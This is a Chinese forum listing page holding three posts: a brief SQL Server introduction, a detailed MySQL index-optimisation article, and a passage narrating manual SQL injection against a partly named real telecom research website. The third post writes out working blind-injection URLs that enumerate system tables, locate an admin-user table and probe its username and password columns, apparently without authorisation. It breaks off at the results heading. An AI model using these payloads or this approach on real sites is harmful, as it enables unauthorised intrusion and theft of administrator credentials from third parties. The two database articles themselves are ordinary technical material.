• [技术干货] 跟我一起学 MS SQL Server (一)
    关于 Microsoft SQL ServerMicrosoft SQL Server 是由美国微软公司所推出的关系数据库解决方案,最新的版本是 SQL Server 2016, 已经在 2016 年 6 月 1 日发布。数据库的内置语言原本是采用美国标准局(ANSI)和国际标准组织(ISO)所定义的 SQL 语言,但是微软公司对它进行了部分扩充而成为作业用 SQL(Transact-SQL)。 几个初始版本适用于中小企业的数据库管理,但是近年来它的应用范围有所扩展,已经触及到大型、跨国企业的数据库管理。数据库服务的启动数据库结构物理结构逻辑结构数据库命名规则数据库分类[/td][/tr][/table] 创建数据库时需要指定的属性数据库的创建方法命令行创建数据库范例数据库的删除方法命令行删除数据库范例
  • [技术干货] 【数据库】数据库索引结构、原理与优化
    1、 引言数据库几乎是所有的系统都离不开的,对于一般的小型应用来说,很少有开发人员会在数据库上花费太多的精力;但是在实际业务中我们却发现,在一个快速增长的web系统中,最先成为性能瓶颈的往往就是数据库,有时候我们不得不在数据库的优化上花费大量的时间。在数据库的诸多优化手段中,索引的正确使用和优化是非常关键的一部分;下面将以MySQL数据库为例,系统的介绍一下索引的一般结构和优化方法;虽然在不同数据库下,细节可能会有些差异,但是道理都是通用的。2、 索引概述2.1 索引的类型数据库中的索引类型有多种划分方式;按照其中所包含的字段数量,那么索引可分为单索引和组合索引(又叫复合索引)两种;单索引是指只包含单个字段的索引,组合索引顾名思义就是多个字段组合在一起的索引;如果按照索引中所包含的字段类型来分,则可以分为主键索引和辅助索引;主键索引当然就是在主键上创建的索引,辅助索引则是在主键以外的其他字段上创建的索引;如果按照索引节点与物理记录的对应方式来分,则可分为**索引和非**索引,前者是指索引节点中直接包含了数据记录的索引方式,也即是说,整张表的记录顺序都是按照索引结构来组织的;而后者的索引节点中,只包含一个指向物理记录的指针(地址);在MySQL中,不同的存储引擎索引结构也不太一样;比如MyISAM存储引擎中,不管是主键索引还是辅助索引,都属于非**索引;而在Innodb引擎中,主键索引属于**索引,非主键索引则采用了非**索引的方式,也就是二级索引。后面将会详细介绍MySQL中索引的存储结构和查找原理;2.2 索引的实现常用的数据查找方式有三种:顺序查找、Hash查找和Tree查找;这三种类型中,顺序查找最简单,但是速度也最慢,在大数据量下无法使用;而hash查找虽然快速,而且无论数据量多大,只要算法合适,基本上可以做到O(n)复杂度,其中n=数据条数/冲突域长度;但是它有一个最大的缺点就是不支持范围查找;这在关系型数据库的sql规范中是不能接受的;如果使用树型结构,则支持遍历,支持范围查找;而对于二叉树来讲,其效率可做到log(n),而且性能也不会随着数据量的快速增长而下降太多,是比较理想的数据索引结构。2.3 索引的作用方式在不使用索引时,系统会对整张表的数据进行扫描;一般是通过主键进行遍历(有的表可能连主键都没有,则会按照记录存放的物理顺序遍历),取出每一条记录,然后判断对应的字段值是否满足需求,如果满足,则添加到结果集里;如果不满足,则继续扫描后续记录;在应用了索引的情况下,如果查询条件只有一个时,情况很简单,系统会去扫描对应索引,找到目标记录(和通过主键查找差不多,主要的区别就是索引上可能没有唯一性约束,所以在找到第一条记录后,还需要继续向后取出链上符合条件的其他记录)。但是当查询条件多余一个时,情况会稍微复杂一点;下面我们以包含两个查询条件的情况进行说明;假如我们在一张名为test的表上执行以下查询语句:select * from test where a=1 and b=2;这时候可能的查询方案共有三种:1. 直接取出满足a=1和b=2的记录;2. 同时取出a=1和b=2的记录,然后二者进行merge;3. 先取出a=1的记录,然后在这些记录里筛选出b=2的记录;4. 先取出b=2的记录,然后在这些记录里筛选出a=1记录;其中3和4本质上是一样的,只不过顺序不同,这里单独列出来只不过想强调一下其在不同索引情况下的区别;很明显,以上方案中1的效率是最高的,但是条件也比较苛刻,只有当建立了a、b上的组合索引时,才可能采取1的方案;对于2来说,一般只有当a和b两个字段上分别都建有索引时才有可能会这样执行,否则显而易见,其效率将会是很低的;如果只在a字段或b字段建了索引,那么很显然适合用3或4的方案;那么我们不妨想一想,如果在a和b字段都建了单索引的情况下,会不会也可能走3或者4的方案呢?答案是肯定的;这种情况主要取决于这两个字段的区分度(数据库中一般会有个Cardinality的概念,其原意是指实体关系模型中的1:N或者N:N这样的映射关系,这里可以简单地理解为其代表着数据的区分度);所谓的字段区分度是指,表中所有记录的这个字段上一共会有多少不同的值,也即用这个字段来区分不同记录的程度如何;如果这个字段的不同取值越多,说明区分度越高,那么在这个字段上建索引效果也越好,反之就越差。字段区分度对查询方式的具体影响,后边会详细介绍。3、 MySQL索引具体结构3.1 引子MySQL的索引都是由底层存储引擎来管理的,每种引擎的具体实现也不太一样,但基本就是b-tree和b+tree两种;下面主要介绍一下我们日常熟悉的MyISAM引擎和Innodb引擎的索引结构。首先我们模拟一张表,并以这张表为例来介绍索引的实际结构;该表名为user,主要包含了用户的一些个人基本信息,如id、姓名、年龄、联系方式等,具体结构如下表所示:3.2 MyISAM的索引实现MyISAM引擎使用的B+Tree的结构来构造索引。B+Tree的特点就是一条查询路径上所有节点的数据都会同时保存在叶节点上,同时每个叶节点间会以指针相连,这样也可以通过叶节点向后顺序遍历后续所有节点,为范围查询提供了方便;在MyISAM的索引中,叶节点的data域存放的是数据记录的地址。下图模拟了user表中age字段上的单索引结构(这张图只给出索引的原理结构,并不代表实际存储的物理结构):在MyISAM中,主索引和辅助索引(Secondary key)在结构上没有任何区别,都如上图所示;只是主索引要求key是唯一的,而辅助索引的key可以重复;根据前面的定义,MyISAM的索引属于非**索引。由于在索引节点中仅仅保存了数据记录的指针(地址),所以在搜索的时候,系统首先按照B+Tree的检索的算法搜索对应的key的节点,如果该节点存在,则取出其data域的值,然后以该值为地址,再到表的数据存储区读取相应记录。3.3 Innodb的索引实现Innodb同样使用B+Tree作为索引结构,但具体实现方式却与MyISAM有一些不同。首先就是InnoDB的数据文件本身就是索引文件。从上文知道,MyISAM索引文件和数据文件是分离的,索引文件仅保存数据记录的地址。而在InnoDB中,表数据文件本身就是按B+Tree组织的一个索引结构,在树的每个叶节点保存对应的数据记录,而仅仅是一个记录地址。这个索引的key是数据表的主键,因此InnoDB表数据文件本身就是主索引。如下图所示:从图中可以看到树的每个叶节点都包含了完整的数据记录,这种索引方式就是我们前面讲的**索引;因为InnoDB的数据文件本身要按主键排序,所以在创建InnoDB表时必须要有主键,如果没有显式指定,那么系统会自动选择一个可以唯一标识数据记录的列作为主键,如果不存在这种列,则系统自动为该表生成一个隐含字段作为主键,这个字段长度为6个字节,类型为长整形。还有一个与MyISAM索引的不同点就是,在InnoDB的辅助索引叶节点的data域中,存储的是对应记录的主键id而不是记录的地址。换句话说,InnoDB的所有辅助索引都引用主键作为data域。所以在Innodb引擎中,同样是user表age字段上的索引,其结构将如下图所示:Innodb中主键索引的这种实现方式使得按主键的查询十分高效,但是辅助索引搜索需要检索两遍索引:首先检索辅助索引获得主键,然后再到主键索引中查询对应记录。了解不同存储引擎的索引实现方式对于正确使用和优化索引都非常有帮助,例如知道了InnoDB的索引实现后,就很容易明白为什么不建议使用过长的字段作为主键,因为所有辅助索引都引用主健索引,过长的主索引会令辅助索引变得过大。再例如,用非单调的字段作为主键在InnoDB中不是个好主意,因为InnoDB数据文件本身是一颗B+Tree,非单调的主键会造成在**新记录时数据文件为了维持B+Tree的特性而频繁的分裂调整,效率非常低,而使用自增字段作为主键则是一个很好的选择。4、 MySQL索引实例分析4.1 准备工作4.1.1 explain命令Explain命令是MySQL提供的一个帮助查询优化器制定sql执行计划的功能,其他很多的数据库也都各自提供了类似的命令;在实际开发中,我们可以事先通过explain来分析我们的sql在不同的索引结构下是如何执行的;也可以帮助开发人员在线上环境分析慢查询,从而对sql和索引进行优化; 使用explain命令会输出类似下面的结果:这里先解释下explain解析结果中各个字段的属性含义;id代表该条语句在整个语句解析中的顺序,当存在嵌套查询时,explain解析出来的结果是多条的;select_type代表查询类型,如子查询、UNION等;table顾名思义指的是表的名称;type指的是查找数据的方式,如全表扫描、读常量、索引扫描等;possible_keys代表该条语句可以使用的索引;key代表实际使用索引;key_len代表使用的索引长度,对于组合索引,可能只是用到了其中的部分字段;ref指的是引用类型,rows是解析器估算的最多需要扫描的记录条数;extra用来说明一个额外信息,上边这条语句中extra只有一个Using where,不过别急,下边我们就会看到更多的。后面我们就使用explain命令对一些具体的sql语句进行分析,来说明不同的索引结构和sql写法会产生什么样的执行效果。4.1.2 数据准备shop_group_item表是这次现网系统中使用的一张表,我们后面的分析都是基于该表进行的,所使用的数据都是从线上导出的真实数据,部分sql也是目前生产环境中正在使用的;下表是shop_group_item的schema结构:目前该表的线上索引结构如下图所示(这里只列出了下文主要涉及到的一些字段,省略了部分不必要字段):我们可以看出,shop_group_item这张表一共有三个索引,一个是PRIMARY,也就是主键索引;剩下两个都是组合索引,idx_group_id_item_id这个包含group_id,item_id和status三个字段,另个一idx_group_id_uid_status包含了group_id,user_id,status,gmt_create四个字段,这里要特别注意一下seq_in_index这个字段,它表明了对应column在索引中的顺序,这直接决定着后边查询时的索引应用效果;因为线上的sql语句数量较少,类型也基本确定,所以shop_group_item表只建了一个主键索引和两个组合索引;下面为了方便对比测试,我们先将两个组合索引drop掉,再手工为shop_group_item表添加几条单索引(用于测试的记录数量为10w);我们分别添加了idx_group_id(包含group_id字段)、idx_user_id(包含user_id字段)、idx_status(包含status字段)三条单索引;最终,shop_group_item这张表上的索引情况如下(只展示了主要字段):下面,我们就通过不同sql对应的执行计划来分析一下MySQL索引的一些特性,以及为什么会有这样的特性;4.2 单索引查询4.2.1 无索引查询首先我们看下用一个没有任何索引的字段进行查询;explain select * from shop_group_item whereitem_price=444;从sql解析中我们可以看出,MySQL无法为这条语句应用任何索引,只能去走全表扫描,遍历所有记录,找出所有符合要求的。4.2.2 主键查询作为对比,我们尝试下通过主键id直接查询记录;下面是我们线上正在使用的一条sql:explain select * from shop_group_item where id=12003; 我们的where条件中只有一个id字段,所以MySQL理所当然的使用了主键索引;这种情况下效率是非常高的,语句执行几乎没有花费什么时间,其执行结果如下图:4.2.3 非主键查询下面我们来看下非主键索引的效率情况:explain select * from shop_group_item wheregroup_id=12003;这里我们看到,该sql和只用主键id查询的解析结果基本一样,用时也很少;唯一的一点差别就是type值不一样,这是因为idx_group_id这个索引没有像主键的那样的唯一性约束,系统无法判断group_id=12003的记录的准确数量,所以无法标志成const。4.2.4 多条件索引合并我们再来看下另一条线上语句的执行情况,里边涉及到了多条件查询;explain select * from shop_group_item wheregroup_id=144030 and user_id=157860040;由于结果全部输出太长,所以这里只贴出我们关心的部分:我们可以看到,在只对group_id和user_id分别建了单索引的情况下,数据库选择了索引合并的方式,即前文我们提到的方案2;该sql解析的Extra字段如下:我们可以看到,数据库是通过intersect的方式去处理索引结果**并的;4.2.5 多条件非索引合并对于上例中多条件查询的情况,数据库是不一定会按照索引合并的方式来处理;explain select * from shop_group_item wheregroup_id=144030 and status=1;这里我们可以看出,虽然在group_id和status两个字段上都建有单索引,但是status上的索引并没有被选用,而只应用了group_id上的索引;数据库为什么会有这样不同的处理结果呢?我们不妨回顾一下我们前面给出的这几个索引的基本信息;我们会发现idx_group_id这个索引的Cardinality字段值为24711,idx_user_id为32949,而status字段上的idx_status仅有4,也就是说,status这个字段仅有4个不同的值,区分度非常低!也就是说这个条件对记录的过滤能力非常差,所以虽然该字段建有索引,但是数据库却干脆弃之不用了!另一点我们需要注意的是这条sql解析的Extra字段中出现了Using where这样的信息,表明该查询光走一次索引查询是搞不定的,还要进一步应用where子句中的查询条件来进行处理。4.3 组合索引查询4.3.1 组合索引结构组合索引在我们日常的开发中也会经常用到;本质上组合索引和单索引并没有区别,只不过在组合索引中,每个b+tree节点中的包含了多个字段的数据;如下图所示:组合索引在多条件查询的索引应用中,有很多需要注意的地方的,下面仍以上例中的数据库为例进行说明;首先,我们先将前面我们drop掉的两条组合索引加上;加完之后,shop_group_item表上的索引结果如下:这里需要说明的是,虽然我们并没有对表中记录进行增减,但是对应的索引的Cardinality值却发生了变化,这是因为数据库对这个值只是进行了粗略的统计,而且是每隔一段时间去更新一次,或者手动触发的时候去更新的,所以这个值只能用来作为参考,并不是精确值;4.3.2 多索引的选择我们重复一下2中的查询,看看在既有单索引有有组合索引的情况下,数据库会如何选择;explain select * from shop_group_item wheregroup_id=12003;这里我们仍截取我们关心的字段情况:我们发现,这条查询可以应用的索引有三个,虽然其中包括两个组合索引,但是MySQL最后还是选择了idx_group_id这条单索引,我们再对比一下前图的Cardinality值,发现在这三个索引中,应用到group_id字段的Cardinality值均为25155,也就是说从区分度上来讲,后两个组合索引并不比第一个单索引更好,而在扫描组合索引的索引节点时,显然效率更低一些,所以数据库很聪明的选择了单索引去查询;为了对比,我们再来看看下面这条sql的解析情况;explain select * from shop_group_item where group_id=151272 and user_id= 907638037;当使用group_id和user_id两个查询条件时,MysQL判断出有4个索引可以使用,分别是可应用于group_id字段的idx_group_id和idx_group_id_item_id;可应用于user_id字段的idx_user_id以及可以同时应用于这两个字段的组合索引idx_group_id_uid_status;解析器很明智的选择了匹配度最高的一个;从后边的key_len也可以看出,虽然idx_group_id_uid_status这个索引包含有三个字段,但是由于条件里只有group_id和user_id两个条件,所以只应用了索引中的前两个字段;4.3.3 查询条件顺序在不建索引的情况下,where子句中查询条件的顺序可能会对查询效率有影响;那么在建有索引的情况下呢?我们来看下边的例子:我们只需要4.2.2中第二条查询的查询条件顺序调换一下即可;explain select * from shop_group_item whereuser_id=157860040 and group_id=144030;由此可以推测,where子句中查询条件的顺序调换是不影响索引的应用的;而事实上也确实是如此的,优化器并不关心查询条件的具体顺序,在执行前它会很好的去调整以匹配最合适的索引。4.3.4 最左前缀匹配既然在多条件查询时组合索引效率更高,那么是不是只要是包含在索引中的字段就会应用相应的索引呢?我们来看下面的sql:explain select * from shop_group_item whereuser_id=157860040 and status=1;很可惜,idx_group_id_uid_status这个组合索引并没有起作用,只有group_id上的单索引被使用了;其实在我们了解了上边的组合索引的结构之后,就应该能想明白了为什么了;因为B+Tree实现的组合索引这种索引结构,其本身就是要求最左前缀匹配的,当查询条件中不包含索引中的第一个字段时,系统是无法在树中确定查找的入口的,如果要强制去使用索引,那么只能从根节点去遍历,这样的话效率反而不如使用单索引了;还有下面的情况:explain select * from shop_group_item wheregroup_id=144030 and status=1 and gmt_create=´2012-12-07 14:51:36´;看起来貌似很可惜,我们就差了一个user_id字段,但是解析器很无情的直接放弃了idx_group_id_uid_status这个索引,而是使用了idx_group_id_item_id,同样key_len为8,也就是说只用到了索引中的group_id字段;那么如果我们强制使用idx_group_id_uid_status这个索引结果又会如何呢?我们来看一下:explain select * from shop_group_item forceindex(idx_group_id_uid_status) where group_id=144030 and status=1 andgmt_create=´2012-12-07 14:51:36´;解析器很听话的使用了idx_group_id_uid_status,但是我们看到,key_len仍然是8,group_id后边的字段并没有生效;其实我们仔细想想,根据组合索引的结构,解析器只能使用最左前缀匹配,所以没生效是必然的事情,否则查询的效率就不升反降了。4.4 Order by查询前面简单介绍了符合索引应用时的一些规则,下面我们再看一下在我们日常开发中也会经用到的order by对索引的应用情况;4.4.1 无索引order by首先我们先来看一个在没有建索引的字段上使用order by的例子;shop_group_item表中有一个item_price字段,用来记录宝贝的价格,下面我们就对他进行排序:explain select * from shop_group_item wheregroup_id=144030 order by item_price;在索引的应用上,只使用了group_id字段上的单索引idx_group_id,和我们预期的情况完全一样;但是我们在看下它的Extra字段:Using where是我们并不陌生的,因为item_price字段信息没有在索引数据中,所以无法直接返回结果集;但是这次多了一个Using filesort是我们以前没见过的;它的意思是通过索引拿到结果集后,为了处理后边的order by,还必须要进行一次文件排序;但是需要说明的是,这里的filesort并不一定就是磁盘排序,也可能完全是基于内存,只有当需要排序的记录比较多,无法全部在内存中完成时,才会使用磁盘;4.4.2 有索引order by看完了上边的情况,我们当然要再试一下建有索引的字段是如何处理排序的;explain select * from shop_group_item wheregroup_id=144030 order by status;虽然status字段上也建有索引,但是执行计划并没有像3中的那样,使用索引merge,而且Using filesort也还存在,也就是说,status上的排序并没有使用索引;其实我们仔细回忆一下前边讲过的索引的结构就会明白,在这种排序字段不在查询条件中的情况,理论上讲也是无法应用索引排序的;那我们不妨再看下排序字段同时也在查询条件中的情况会如何制定执行计划;explain select * from shop_group_item wheregroup_id=144030 order by group_id;果然,不出我们所料,不但Using filesort没有了,就连Using where也消失了;因为排序字段就是起作用的索引字段本身,所以系统直接使用了索引的结果,根本就不需要再进一步处理了,而且因为也没有其他查询限定,所以也不需要在应用where子句的条件进一步处理了;4.4.3 组合索引order by在单索引上,我们了解了执行计划是如何制定的,那么在组合索引上情况又如何呢?explain select * from shop_group_item wheregroup_id=144030 order by user_id;解析器这次并没有选择group_id字段上的单索引,而是很明智的选择了idx_group_id_uid_status这个组合索引,但是我们要注意一下它的key_len字段,只有8,也就是说,查询使用的索引字段只有group_id,并不包括user_id字段;根据组合索引的结构就不难理解,order by其实类似于范围查询,没办法通过索引一次性定位,必须要对结果进行进一步处理,所以在Extra信息里还出现了Using where;但即便是这样,其效率也是很高的;而这里查询字段group_id和排序字段user_id是索引idx_group_id_uid_status的前两个字段,符合最左前缀匹配原则,所以可以直接使用索引顺序,不管正序还是倒序,都不需要再重新做一次filesort了。4.4.4 order by的最左匹配通过前面的例字我们知道了多where条件查询组合索引的最左前缀匹配原则,那么存在order by的情况是不是也这样呢?我们来看一下:explain select * from shop_group_item wheregroup_id=144030 and status=0 order by gmt_create; 可以看到,在应用索引的时候,MySQL并没有选择idx_group_id_uid_status这个包含gmt_create的索引,而是选择了idx_group_id_item_id,而且仍然只有第一个字段即group_id生效了; 再来看他的Extra信息:其中仍有Using filesort信息,也就是说,最后的排序并没有用到索引,而是又重新排了一次序;那有人会问,是不是因为查询应用idx_group_id_item_id这个索引中不包含gmt_create才会这样呢?那我们不妨试一下强制使用idx_group_id_uid_status的情况: explain select * from shop_group_item forceindex(idx_group_id_uid_status) where group_id=144030 order by gmt_create;可以看到,这种情况下MySQL仍然使用了文件排序;其实我们分析一下组合索引的结构即可明白,虽然索引是有序的,但是索引中的节点并不是按照gmt_create这个字段有序排列的,而是索引所有字段的一个整体有序;对于单个字段来讲,只是在这个字段所处的当前层次内才是有序的;4.5 索引覆盖4.5.1 准备工作在数据库查询中,如果我们很好地应用了索引,那么将使我们的sql效率得到极大的提升,可能以前令人头疼的性能瓶颈一下子就解决了!但是人都是不知足的,我们总会想:还有没有办法更快点?答案是肯定的!下面我们就来看下索引覆盖的情形;为了能让在不同的数据量下sql在执行时间上的对比更强烈一些,我们特意将shop_group_item这张表的记录数增加到100万,和前边一样,这些数据都是来自生产环境的真实数据,所以不存在特殊性的问题;同时,为了方便对比,我们为这张表取了个新的名字shop_group_item_t,但是表结构前后是完全一样的。4.5.2 主键索引效率首先,我们再将1中的sql在shop_group_item_t中重新执行一遍;select * from shop_group_item_t where id=12003;在我们的测试中,这条sql的执行时间是0.03 sec(在关闭查询结果缓存的情况下),相较于上次shop_group_item表10w条记录0.00sec的情形,可以说已经慢了很多了;4.5.3 非主键索引效率 同样,我们还要再尝试一下再非主键索引上的情况;我们将4.3.2中的第二条查询在shop_group_item_t表上再执行一下,一共查询到10条记录,耗时0.06sec(关闭缓存多次重复执行的时间基本相同);而同样的语句和结果在只有10w条记录的shop_group_item表上执行时耗时为0.00sec;其实从上边两个简单的例子就可以看出,即便是恰当的使用了索引,在数据量比较大的情况下,sql的执行消耗也会相应增大;这还仅仅是最简单的单条件查询!如果数据量和sql的执行频率再进一步增加,可以想象,我们的数据库会很快出现瓶颈,我们必须进一步优化!4.5.4 分页查询(屌丝写法)在平时的开发过程中,分页查询是我们经常写的一类sql;最普通的分页写法一般是这样的:select * from shop_group_item_t where group_id =107127 and status = 0 order by gmt_create desc limit 1,20;下面我们看下这条sql的执行计划是什么样的;首先看他的索引应用情况:这个执行计划和我们前边讲得一样,没有什么特别;接下来再看下Extra信息:从以上sql的执行计划我们可以推测出数据库的执行过程:首先,从idx_group_id_item_id中检索出group_id=107127的节点,然后根据节点上存储的主键id取出对应的记录,然后在应用查询条件中的status=0对这些记录进行过滤,最后再将过滤后的记录按照gmt_create进行降序排列,取出其中的前20条,返回给客户端;在我们的测试中,这条sql的执行时间是0.27 sec(在关闭查询结果缓存的情况下),应该说比较慢了,何况我们现在只有100万的记录,符合group_id=107127和status=0的记录也就几百条;4.5.5 分页查询(文艺写法)上例中的分页sql可谓是最“屌丝”的写法了,在sql review时,一般都会被dba打回,要求改写成如下所示的“文艺”分页写法:select * from (select id from shop_group_item_t wheregroup_id = 107127 and status = 0 order by gmt_create desc limit 1,20 ) a,shop_group_item_t s where a.id = s.id;乍一看,sql语句长了不少,但是在实际执行时,相同测试环境下这条sql所耗费的时间几乎为0!果然够文艺!那么为什么这个效率就会高呢?下边来看下它的执行计划;因为宽度问题,我们还是分两屏贴出:sql执行计划的执行顺序是按照其id从大到小执行的,也就是说,首先被执行的是id=2的计划,它对应我们上述sql语句最内层的查询;我们看到,其select_type值为DERIVED,涵义是指该查询为派生表的select查询(from子句的子查询),我们同时也看到虽然应用了idx_group_id_uid_status索引,但是其type和rows分为ALL和990872;对比最开始1中全表扫描查询的所需时间,这里显然没有使用全表扫描,而是应用了索引,所以explain出来的执行计划并不是绝对准确无误的;在两个id为1的执行计划中,第一个table为表名这个是个派生表,其实也就是a表,这个表走的是全表扫描,一共涉及到20条记录;而s表则走了主键索引,同时ref字段值为a.id,type字段为eq_ref,表示使用了a.id这个列的值来精确匹配主键索引筛选出需要的行;所以整个sql的执行流程如下:a、 首先从索引idx_group_id_uid_status中筛选出所有group_id = 107127的索引节点,然后从这些节点中再找出status=0的节点,之后按照gmt_create字段对剩下的节点排序(因为idx_group_id_uid_status包含了group_id、status、gmt_create这些字段,所以之前的筛选都只需在索引节点中进行)最后取出前20条数据的id值(id为主键,也包含在索引节点中,所以这一步仍在索引中进行)放到临时表derived2中;b、 顺序遍历derived2中的每条记录中的id值,然后用这个值去s(由shop_group_item_t表派生而来)表中根据主键索引查询对应记录;c、 最后将查到的所有记录返回给客户端;4.5.6 执行计划准确吗下面我们把上例中最里层的sql拿出来单独做一下解析;explain select id from shop_group_item_t wheregroup_id = 107127 and status = 0 order by gmt_create desc limit 1,20;下面我们看一下它的执行计划:这个执行计划看起来就很正常了,仍然使用了idx_group_id_uid_status这个索引的第一个字节,ref为常量匹配,读取的记录为30条;此外,Extra中还出现了Using where和Using index,前者根据我们16.a中的分析,出现是很正常的,而Using index表示返回给客户端的结果集中所需要的字段都可以从索引中拿到,不需要再去表中查询,根据我们前面的分析来看,这个也是很正常的;4.5.7 索引覆盖原理上例中“文艺”分页写法的例子,其实就是前面我们所说的索引覆盖(index coverage),即索引中的字段数据即可覆盖结果集中的所需字段,这样查询时只扫描索引即可,不需要再到数据表中重新取数据了;在sql优化中,一条很重要的原则就是尽量减少“回表”;所谓回表,是指sql执行过程中,无法在索引中取到全部需要的数据,必须要到表中重新将所需的字段取出来,然后再进行后续操作;因为表中记录的数据一般都是在磁盘上的,很少能从缓存直接取到,所以而这个回表的操作是非常耗时间的,尤其是回表的次数和数据条数比较多时候更是如此!索引覆盖是非常好的避免回表的方法;一般来讲,数据库会尽量将索引放在缓存中,即便需要从磁盘中读取,索引的查找效率也很高的;所以如果能从索引中取到所有需要的数据,那就可以避免到回表这部分的磁盘I/O,性能将会大大提升;当然,也不是说应该把表中的所有字段都包含到索引里边,因为索引的维护开销也是很大的;每一次写操作,都需要更新对应的索引数据,包括添加索引记录,B+树结构调整,节点分裂、移动等,所以实际产生的磁盘I/O量可能是写操作数量的几倍甚至更多;所以,究竟建什么样的索引,包含哪些字段,是需要综合多方面因素来权衡的,包括以下几个方面:a、 业务逻辑需要什么样的sql语句;b、 每条sql语句的执行频率如何;c、 sql语句的查询条件和执行频率主要决定了建什么样的索引;d、 schema结构(字段类型、区分度等)影响着索引的效率;而反过来,索引优化方式也会逆向反馈sql语句和程序代码的写法,甚至不得已还要调整业务逻辑;这就是我们前面所说的向上反馈。5、 总结以上主要介绍了数据库索引的一些东西,只是整个数据层优化的一部分,甚至限于时间和篇幅,连这一部分都没有介绍全面,比如说索引的磁盘结构,distinct的优化、join的优化等等,也并没有分析sql执行时的具体IO情况;本文的目的旨在总结平时工作和学习的一些所得,也算是抛砖引玉的作用,欢迎有兴趣的同学一起讨论!
  • 【SQL分享】某网站安全检测之数据库手工注入
    某网站安全检测之数据库手工注入一、引子 长夜慢慢,无心睡眠…… 无意中翻到几年前听的一首名为《祖先的阴影》的摇滚,这么长久的历史,混合着许多的罪恶与功绩;这么“灿烂的文化”,夹杂着太多的愚昧与文明。美好的,如汉字,围棋古筝,诗词曲赋等;糟糕的,如一辈子只会干“杀尽叛贼、占据王位,选好王妃,建造坟堆”四件事的皇帝及官僚制度,小脚,太监及八股文等等。 噢,且慢,八股文——不要言之过早!今天,让我用八股文这一旧瓶,来包装一下IT方面的新酒;把数据库注入这一有几个年头的安全技术,再写一篇略有新意的文章。二、概要 所谓数据库注入,也就是SQL Injection,就是攻击者把SQL命令**到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。来自官方的说法是:“当应用程序使用输入内容来构造动态SQL语句以访问数据库时,会发生SQL注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生SQL注入攻击。SQL注入可能导致攻击者能够使用应用程序登录在数据库中执行命令。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。”在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入攻击。而许多网站程序在编写时,没有对用户输入数据的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样用户就可以提交一段数据库查询代码,(一般是在浏览器地址栏进行,通过正常的www端口访问)根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是SQL注入产生了。其实简单点说,SQL注入的原理就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。 当然,能不能构造、构造什么样的数据库查询代码,就有是菜鸟和高手的区别了;同时我向大伙保证:我绝不是高手——我基本上连数据库都不会用,所以大伙看了文章后不要问我太多太深的问题,因为我也不知道。三、检测 查找资料的过程中,被链接到某电信技术研究院网站,看了一下首页代码及链接,用and和or简单测试了一下,没发现什么,在最后快要放弃的时候,发现如下页面有点意思。1=1(不正常)1=2(也不正常)加一个特殊符号,则如下图示。(返回正常)(返回异常) 嘿嘿,存在注入,心花怒放!四、暴库 上面就可以知道该网站后台数据库是MS SQL Server。(select count(*) from [sysobjects])>=0(返回正常,可见数据库为SQL Server) 探测该网站数据库实例名,我很幸运,竟然通过错误暴出来,请看下图。SQL Server中DB_NAME 最大值是NVARCHAR(128),我提交错误,网站也报错,看红色下划线处和红色长方形里,可见数据库实例名为jstrd。五、寻表 漫长而痛苦的工作开始了,同时因为在创建一个数据库的同时,系统会自动建立一些系统表,我构造了如下的语句,来探测数据库实例jstrd中的表名。 限于篇幅的缘故我在这里只介绍与应用实例有关的一个系统表(SYSOBJECTS)及其相关的字段。 表SYSOBJECTS为数据库内创建的每个对象(约束,规则,表,视图,触发器等)创建一条记录。该表相关字段的含义如下: SYSOBJECTS.name 对象名,如:表名,视图名。 SYSOBJECTS.id 对象id。 SYSOBJECTS.type 对象类型(p存储过程,v视图,s系统表,u用户表)。 太帅了,返回正确,提交的“系统态”语句是: http://*/show_products.asp?id=22%27%20and%20%28Select%20count%28%2a%29%20from%20jstrd..%5bsysobjects%5d%20where%20xtype=char%28117%29%20and%20left%28jstrd..%5bsysobjects%5d.name%2c0%29=char%2832%29%20and%20len%28jstrd..%5bsysobjects%5d.name%29%3e0%29%3e0%20and%20%271%27=%271&classid=1 翻译成我们容易识别的“用户态”(以后都用这种形式表示)是: http://*/show_products.asp?id=22´and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,0)=char(32) and len(jstrd..[sysobjects].name)>0 and abs(ascii(substring(jstrd..[sysobjects].name,1,1)))0 and ´1´=´1&classid=1 或许各位要懵了,这都是些什么东西啊,乱七八糟的?我笑而不答,谜底将在后面揭开。但事先点一下: xtype是那张表的一个字段,xtype=char(117) 也就是xtype=´U´ 意思是取用户的表。空格(Space)的ASCII编码是32。 历经多次的失败后,在如下语句输入时,探测到我认为是存储用户名和密码的一张表(之前也探测到别的表,但我认为对自己没有用。并且要说一下的是当我探测到有TblAd之后,我直觉得加上了TblAdmin;后来发现还没完,有TblAdminUs之后,我直觉得加上了TblAdminUser)。 http://*/show_products.asp?id=22´and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,11)=CHAR(84)+CHAR(98)+CHAR(108)+CHAR(65)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)+CHAR(85)+CHAR(115)+CHAR(101) and len(jstrd..[sysobjects].name)>11 and abs(ascii(substring(jstrd..[sysobjects].name,12,1)))=114)>0 and ´1´=´1&classid=1 可见有TblAdminUser这么一张表,我们可以再测试一下,如下图。and (select count(*) from TblAdminUser)>0六、探列 各位看到这里,上面的谜底很可能都明白了。什么,还有不明白的!那好,告诉你:网站及后台系统理会我上面所说的“系统态”,不理会“用户态”。你们看看如下两个表。(部分Unicode编码表)(部分ASCII编码表) 刚才寻到了表,现在我们的工作是探列了,综合运用上面提到过的知识,加上我的直觉猜测里面应该就有username和password两个列,果然!请看下图。 http://*/show_products.asp?id=22´and (Select count(*) from jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].username,0)=char(32) and len(jstrd..[TblAdminUser].username)>0)>0 and ´1´=´1&classid=1 http://*/show_products.asp?id=22´and (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))=106)>0 and ´1´=´1&classid=1七、结果 